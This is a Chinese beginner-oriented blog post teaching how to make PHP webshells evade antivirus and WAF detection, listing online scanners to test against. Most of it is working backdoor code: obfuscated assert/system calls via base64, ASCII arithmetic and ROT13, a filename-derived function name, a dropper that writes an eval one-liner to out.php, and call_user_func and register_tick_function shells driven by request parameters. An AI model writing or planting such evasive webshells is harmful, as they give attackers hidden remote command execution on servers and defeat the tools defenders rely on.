小白必看web专题!PHP-WebShell免杀(基础版)!!真的很简单!(全网最详细版本)
Dest1ny-安全 2024-10-21 17:33:01 阅读 75
大家好,我是Dest1ny!
最近一直在搞辅导啥的,所以没啥时间搞写~
也谢谢大家一直的点赞,今天特意把之前的web专题再发一个。
废话不多说,我们直接开始!
CLASS-1 WebShell免杀测试
渊龙Sec团队导航(上面啥都有): 渊龙Sec安全团队导航长亭牧云查杀: CT Stack 安全社区阿里云恶意文件检测平台:阿里云恶意文件检测平台阿里伏魔引擎: https://xz.aliyun.com/zuesVirusTotal: VirusTotal微步在线云沙箱: https://s.threatbook.com/河马WebShell查杀: SHELLPUB.COM在线查杀百度WEBDIR+: https://scanner.baidu.com/D盾: D盾防火墙网站安全狗: 网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改
这些就是我们检测自己写的webshell有没有免杀效果的网站!
CLASS-2 最简单的webshell
我们看一下我们最熟悉的webshell!
<code>eval() 函数把字符串按照 PHP 代码来计算,即执行PHP代码
$_POST传参,将传参内容作为php代码执行
这就是最简单的一句话木马,但是我解释的这两个知识点恰好就是各大厂商主要去检测的地方。
就是高危函数和命令执行函数这两个部分。
那免杀本质就是通过代码混淆和变形去绕过检测规则。
CLASS-3 webshell免杀(编码)
base64解码(下划线利用)
<code><?php
$f = base64_decode("YX____Nz__ZX__J0"); //解密后为assert高危函数
$f($_POST["Dest1ny"]);//assert($_POST["Dest1ny"]);
?>
通过将下划线包含在 Base64 字符串中并观察解码结果,可以判断系统的过滤机制。
但是这种局限性很大,要去一点一点测试过滤规则,万一不过滤下划线怎么办?
ASCII编码
道理一样,就是编码方式改变了
<?php
//ASCII编码解密后为assert高危函数
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
$f($_POST['Dest1ny']); //assert($_POST['Dest1ny']);
?>
ROT13编码
$f = str_rot13('flfgrz'); //解密后为system高危函数
$f($_POST['Dest1ny']); //system($_POST['Dest1ny']);
CLASS-3 webshell免杀(拼接)
文件名与数组结合
<?php
function confusion($a){
// 定义一个字符数组,用于转换数字到字符
$s = ['a', 't', 's', 'y', 'm', 'e', '/'];
$tmp = ""; // 用于存储转换后的结果
// 当输入的数字大于10时进行循环处理
while ($a > 10) {
// 将当前数字模10的结果作为数组索引,拼接到结果字符串中
$tmp .= $s[$a % 10];
// 将数字除以10,为下一次循环做准备
$a = $a / 10;
}
// 最后将剩余的数字对应的字符拼接到结果中
return $tmp . $s[$a];
}
// 从当前文件名中提取出最后10个字符中的6个字符,结果是'976534'(字符串)
$f = confusion(intval(substr(__FILE__, -10, 6))); // sysTem(高危函数)
// 最终构建出一个高危函数的调用 sysTem,传入POST请求中的'Dest1ny'参数
$f($_POST['Dest1ny']); // sysTem($_POST['Dest1ny']);
?>
你们看,这个就很骚,先把文件名设置成数字,再通过数字和数组的结合去进行绕过免杀。
写入新文件绕过
这里先把system通过字符串替换构造了出来
再去拼接到一句话木马里,而且这里是把eval$_POST转换成evqrw$_yKST
最后去把内容写入新文件
<?php
$hahaha = strtr("abatme","me","em"); //$hahaha = abatem
$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数)
$gogogo = strtr('echo "<?php evqrw$_yKST[Dest1ny])?>" > ./out.php',"qrwxyK","al(_PO");
$gogogo = 'echo "<?php eval(_POST[Dest1ny])?>" > ./out.php';
$wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中;
?>
CLASS-4 webshell免杀(参数绕过)
base64传参绕过
<?php
$decrpt = $_REQUEST['a'];
$decrps = $_REQUEST['b'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
$arrt = explode("|", $decrps)[1];
$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
?>
接收请求参数:
$decrpt = $_REQUEST['a']; $decrps = $_REQUEST['b'];
从 HTTP 请求中获取参数 a
和 b
。
处理参数 a
:
$arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs));
使用 explode("|", $decrpt)
将参数 a
按 |
符号分割,取第二部分(索引为 1)。对该部分进行 Base64 解码。解码后的结果再次使用 explode("|", ...)
进行分割,得到一个数组 $arrs
。
处理参数 b
:
$arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt));
对参数 b
进行相同的处理:分割并解码。结果存储在数组 $arrt
中。
调用函数:
call_user_func($arrs[0], $arrt[0]);
使用 call_user_func()
动态调用 $arrs
数组中的第一个元素所对应的函数,并将 $arrt
数组中的第一个元素作为参数传递。
到最后只要你传参是base64加密完的敏感函数就可以了
这里 c3lzdGVt
是字符串 system
的 Base64 编码。这里 d2hvYW1p
是字符串 whoami
的 Base64 编码。
函数构造传参
$f = $_REQUEST['f'];
从用户请求中获取一个名为 f
的参数,这个参数应该是一个函数名称(例如 system
)。declare(ticks=1);
设置一个 PHP 的指令块,每执行一条语句就触发一次注册的 tick 函数。register_tick_function($f, $_REQUEST['aabyss']);
注册一个 tick 函数,这个 tick 函数会在每个 tick 时被调用。这里的 $f
是用户传入的函数名,而$_REQUEST['aabyss']
是该函数的参数。
<?php
$f = $_REQUEST['f'];
declare(ticks=1);
register_tick_function ($f, $_REQUEST['aabyss']);
?>
那我们在$f传参中是system,不就构造好了吗!
今天就先这样吧,累累的哈哈哈
大家多多关注Dest1ny,现在已经300粉丝了!!!感谢大家!!
上一篇: 使用rrweb进行前端页面可回溯录制
本文标签
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。